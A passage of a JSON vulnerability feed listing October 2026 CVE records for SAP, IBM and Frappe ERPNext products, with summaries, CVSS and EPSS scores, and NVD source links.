properly validate certain fields in specially crafted requests handled by an internal protocol component.","summary":"SAP NetWeaver and SAP Web Dispatcher do not properly validate certain fields in specially crafted requests handled by an internal protocol component. An unauthenticated attacker could send a malicious request that triggers a memory-handling error, causing the affected process to crash. Successful exploitation can therefore result in a high impact on the availability of the affected application. There is no impact on the confidentiality or integrity of the application.","detail":"SAP NetWeaver and SAP Web Dispatcher do not properly validate certain fields in specially crafted requests handled by an internal protocol component. An unauthenticated attacker could send a malicious request that triggers a memory-handling error, causing the affected process to crash. Successful exploitation can therefore result in a high impact on the availability of the affected application. There is no impact on the confidentiality or integrity of the application.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T01:16:46.213Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":["SAP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-58249","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00406,"percentile":0.34596,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-58249&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-58249","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-58249","type":"primary","publishedAt":"2026-10-13T01:16:46.213Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-58249&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-58249, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93892","cveId":"CVE-2026-93892","aliases":[],"kind":"vulnerability","title":"IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to obtain sensitive information due to exposure of session tokens in the HTML...","summary":"IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to obtain sensitive information due to exposure of session tokens in the HTML response.","detail":"IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to obtain sensitive information due to exposure of session tokens in the HTML response.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:45.797Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93892","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.00279,"percentile":0.20109,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93892&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93892","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93892","type":"primary","publishedAt":"2026-10-12T23:17:45.797Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93892&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93892, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93891","cveId":"CVE-2026-93891","aliases":[],"kind":"vulnerability","title":"IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to obtain sensitive information due to an XML external entity (XXE) injection flaw.","summary":"IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to obtain sensitive information due to an XML external entity (XXE) injection flaw.","detail":"IBM TRIRIGA Application Platform 5.0.0 through 5.0.8 could allow a remote authenticated attacker to obtain sensitive information due to an XML external entity (XXE) injection flaw.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:45.663Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-93891","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.00329,"percentile":0.25852,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-93891&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-93891","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-93891","type":"primary","publishedAt":"2026-10-12T23:17:45.663Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-93891&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-93891, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85457","cveId":"CVE-2026-85457","aliases":[],"kind":"vulnerability","title":"IBM Planning Analytics 2.0, and 2.1 could allow a remote authenticated attacker to execute arbitrary code due to a stack-based buffer overflow.","summary":"IBM Planning Analytics 2.0, and 2.1 could allow a remote authenticated attacker to execute arbitrary code due to a stack-based buffer overflow.","detail":"IBM Planning Analytics 2.0, and 2.1 could allow a remote authenticated attacker to execute arbitrary code due to a stack-based buffer overflow.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:45.167Z","updatedAt":"2026-10-16T19:17:44.320Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85457","asOf":"2026-10-16T19:17:44.320Z"},"epss":{"probability":0.0036,"percentile":0.29543,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85457&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85457","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85457","type":"primary","publishedAt":"2026-10-12T23:17:45.167Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85457&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85457, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-75782","cveId":"CVE-2026-75782","aliases":[],"kind":"vulnerability","title":"IBM Aspera Enterprise WebApps 1.0.0 through 1.0.6 could allow a local attacker to gain elevated privileges due to a misconfigured PATH environment variable.","summary":"IBM Aspera Enterprise WebApps 1.0.0 through 1.0.6 could allow a local attacker to gain elevated privileges due to a misconfigured PATH environment variable.","detail":"IBM Aspera Enterprise WebApps 1.0.0 through 1.0.6 could allow a local attacker to gain elevated privileges due to a misconfigured PATH environment variable.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:39.000Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-75782","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.00107,"percentile":0.01128,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-75782&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-75782","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75782","type":"primary","publishedAt":"2026-10-12T23:17:39.000Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-75782&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-75782, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-75095","cveId":"CVE-2026-75095","aliases":[],"kind":"vulnerability","title":"IBM Aspera Enterprise WebApps 1.0.0 through 1.0.6 could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption.","summary":"IBM Aspera Enterprise WebApps 1.0.0 through 1.0.6 could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption.","detail":"IBM Aspera Enterprise WebApps 1.0.0 through 1.0.6 could allow a remote attacker to cause a denial of service due to uncontrolled resource consumption.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:38.630Z","updatedAt":"2026-10-13T16:17:14.080Z","regions":["Global"],"vendor":null,"product":null,"stacks":["IBM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-75095","asOf":"2026-10-13T16:17:14.080Z"},"epss":{"probability":0.0032,"percentile":0.24739,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-75095&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-75095","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-75095","type":"primary","publishedAt":"2026-10-12T23:17:38.630Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-75095&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-75095, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109674","cveId":"CVE-2026-109674","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.98.0 and 16.x before 16.6.0 contains an SQL injection vulnerability in some endpoints caused by missing input validation.","summary":"Frappe ERPNext before 15.98.0 and 16.x before 16.6.0 contains an SQL injection vulnerability in some endpoints caused by missing input validation. Remote authenticated attackers can send specially crafted requests to the affected endpoints to manipulate database queries and extract sensitive information from the database.","detail":"Frappe ERPNext before 15.98.0 and 16.x before 16.6.0 contains an SQL injection vulnerability in some endpoints caused by missing input validation. Remote authenticated attackers can send specially crafted requests to the affected endpoints to manipulate database queries and extract sensitive information from the database.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:35.380Z","updatedAt":"2026-10-13T14:17:30.620Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109674","asOf":"2026-10-13T14:17:30.620Z"},"epss":{"probability":0.00336,"percentile":0.26796,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109674&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109674","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109674","type":"primary","publishedAt":"2026-10-12T23:17:35.380Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109674&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109674, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109673","cveId":"CVE-2026-109673","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.103.0 and 16.x before 16.12.0 contains a stored cross-site scripting vulnerability because the names of certain records are not properly neutralized when...","summary":"Frappe ERPNext before 15.103.0 and 16.x before 16.12.0 contains a stored cross-site scripting vulnerability because the names of certain records are not properly neutralized when rendered on some dashboards, tools, and portals. Authenticated attackers can craft malicious record names that execute scripts in other users' browsers, enabling data access, modification, and token theft, especially against privileged users.","detail":"Frappe ERPNext before 15.103.0 and 16.x before 16.12.0 contains a stored cross-site scripting vulnerability because the names of certain records are not properly neutralized when rendered on some dashboards, tools, and portals. Authenticated attackers can craft malicious record names that execute scripts in other users' browsers, enabling data access, modification, and token theft, especially against privileged users.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:35.210Z","updatedAt":"2026-10-13T17:17:31.463Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109673","asOf":"2026-10-13T17:17:31.463Z"},"epss":{"probability":0.00211,"percentile":0.11264,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109673&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109673","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109673","type":"primary","publishedAt":"2026-10-12T23:17:35.210Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109673&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109673, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109672","cveId":"CVE-2026-109672","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.118.0 and 16.x before 16.27.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks.","summary":"Frappe ERPNext before 15.118.0 and 16.x before 16.27.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks. Authenticated users can query these endpoints to read financial data beyond what their assigned role permits.","detail":"Frappe ERPNext before 15.118.0 and 16.x before 16.27.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper authorization checks. Authenticated users can query these endpoints to read financial data beyond what their assigned role permits.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:35.040Z","updatedAt":"2026-10-14T14:17:37.497Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109672","asOf":"2026-10-14T14:17:37.497Z"},"epss":{"probability":0.00258,"percentile":0.17241,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109672&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109672","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109672","type":"primary","publishedAt":"2026-10-12T23:17:35.040Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109672&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109672, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109671","cveId":"CVE-2026-109671","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.113.0 and 16.x before 16.24.0 contains a stored cross-site scripting vulnerability in a profile field that is rendered without escaping into portal pages.","summary":"Frappe ERPNext before 15.113.0 and 16.x before 16.24.0 contains a stored cross-site scripting vulnerability in a profile field that is rendered without escaping into portal pages. Low-privilege attackers can store malicious script in the field that executes in the browser of any administrator viewing those pages, enabling administrator account takeover.","detail":"Frappe ERPNext before 15.113.0 and 16.x before 16.24.0 contains a stored cross-site scripting vulnerability in a profile field that is rendered without escaping into portal pages. Low-privilege attackers can store malicious script in the field that executes in the browser of any administrator viewing those pages, enabling administrator account takeover.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:34.873Z","updatedAt":"2026-10-15T15:17:27.750Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109671","asOf":"2026-10-15T15:17:27.750Z"},"epss":{"probability":0.00207,"percentile":0.10673,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109671&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109671","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109671","type":"primary","publishedAt":"2026-10-12T23:17:34.873Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109671&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109671, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109667","cveId":"CVE-2026-109667","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.111.0 and 16.x before 16.22.0 contains a privilege escalation vulnerability in a record-creation endpoint that takes the record type from the request and...","summary":"Frappe ERPNext before 15.111.0 and 16.x before 16.22.0 contains a privilege escalation vulnerability in a record-creation endpoint that takes the record type from the request and inserts the record with permission checks disabled. Any authenticated user, including one holding no operational role, can supply a privileged record type to create privileged accounts and take full control of the site.","detail":"Frappe ERPNext before 15.111.0 and 16.x before 16.22.0 contains a privilege escalation vulnerability in a record-creation endpoint that takes the record type from the request and inserts the record with permission checks disabled. Any authenticated user, including one holding no operational role, can supply a privileged record type to create privileged accounts and take full control of the site.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T23:17:34.210Z","updatedAt":"2026-10-14T13:17:27.710Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109667","asOf":"2026-10-14T13:17:27.710Z"},"epss":{"probability":0.00246,"percentile":0.15686,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109667&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109667","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109667","type":"primary","publishedAt":"2026-10-12T23:17:34.210Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109667&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109667, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109666","cveId":"CVE-2026-109666","aliases":[],"kind":"vulnerability","title":"Frappe ERPNext before 15.110.0 and 16.x before 16.21.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks on...","summary":"Frappe ERPNext before 15.110.0 and 16.x before 16.21.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks on inventory records. Authenticated users can send requests to these endpoints to modify inventory data beyond what their assigned role permits.","detail":"Frappe ERPNext before 15.110.0 and 16.x before 16.21.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks on 